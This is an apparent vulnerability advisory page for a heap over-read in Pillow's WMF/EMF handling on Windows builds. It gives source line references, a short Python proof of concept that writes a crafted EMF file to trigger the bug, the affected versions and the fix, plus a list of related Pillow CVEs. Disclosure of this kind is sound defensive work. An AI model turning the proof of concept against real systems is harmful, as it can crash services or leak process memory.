CVE-2026-96644High· 7.1▾ TwilightPillow: Heap over-read in WMF/EMF rendering via 16-bit dimension truncation (Windows builds)
▾ Twilight zone — High severity, or a signal on a lesser flaw
impact 39.1 · likelihood 0 · exploitation 0
Need a working PoC? Pro members can cast a request and our team develops one — it lands right here.
On Windows builds, Pillow stores EMF and WMF image dimensions without a range check and passes them to the native drawwmf handler. That code sizes its allocation from dimensions truncated into 16-bit header fields but copies the result using the full 32-bit dimensions. A crafted metafile that is wide and short passes the decompression-bomb pixel check yet causes a heap over-read.
The EMF branch computes the size straight from signed 32-bit header fields and stores it with no positivity or range check:
src/PIL/WmfImagePlugin.py:121-129 reads the bounding box; :148 stores it; the size reaches the native handler through src/PIL/WmfImagePlugin.py:56.In the native handler the DIB header fields bcWidth and bcHeight are 16-bit and truncate the allocation, while the copy length uses the untruncated ints:
src/display.c:793-794 assign the 16-bit fieldssrc/display.c:800 sizes the allocation from themsrc/display.c:827 copies height * ((width * 3 + 3) & -4) bytes using the full valuesThe whole handler is compiled only on Windows (#ifdef _WIN32, src/display.c:33-841).
import struct
from PIL import Image
def L(v):
return struct.pack("<i", v)
# Minimal EMF header. Bounding box is 70000 x 1, so the pixel count (70000) passes the
# decompression-bomb check, but the width truncates to 16 bits for the allocation while
# the copy uses 70000.
emf = b"\x01\x00\x00\x00" + L(88) # record type + size
emf += L(0) + L(0) + L(70000) + L(1) # rclBounds: x0, y0, x1, y1
emf += L(0) + L(0) + L(100) + L(100) # rclFrame (non-zero, used for the dpi calc)
emf += b" EMF" # signature at offset 40
emf += bytes(44)
open("poc.emf", "wb").write(emf)
im = Image.open("poc.emf")
print("size:", im.size, "pixels:", im.size[0] * im.size[1])
im.load() # over-read happens here on a Windows build
On Linux the first part is observable: the 88-byte file opens, size is (70000, 1), and the bomb check passes. The native over-read only exists on Windows because Image.core.drawwmf is compiled out elsewhere (on Linux im.load() raises OSError instead).
CWE-125, out-of-bounds read in a C extension on Windows builds. A crafted EMF or WMF that passes the pixel check can read past a heap buffer, leaking memory or crashing the process.
Pillow < 13.0.0Upgrade to a patched release:
Pillow 13.0.0Connected by shared product, vendor, weakness, or advisory.
CVE-2026-96639Critical· 9.8Pillow multi-frame loaders can reuse stale native image storage after mode transitions
CVE-2026-112392High· 7.5Pillow: NULL dereference in ImagingExpand via rank filters on zero-size images
CVE-2026-96637High· 7.1Pillow: Decompression bomb check bypass in SpiderImagePlugin.seek() leads to unbounded allocation DoS
CVE-2026-96640High· 8.2Pillow PDF append accepts malformed shared page-tree DAG causing resource exhaustion
CVE-2026-96636Medium· 6.5Pillow: Decompression-bomb protection bypass via multi-frame seek() in MPO and DCX (MpoImageFile.seek / DcxImageFile.seek)
CVE-2026-96642High· 7.1Pillow: TarIO negative size field causes infinite CPU-spin loop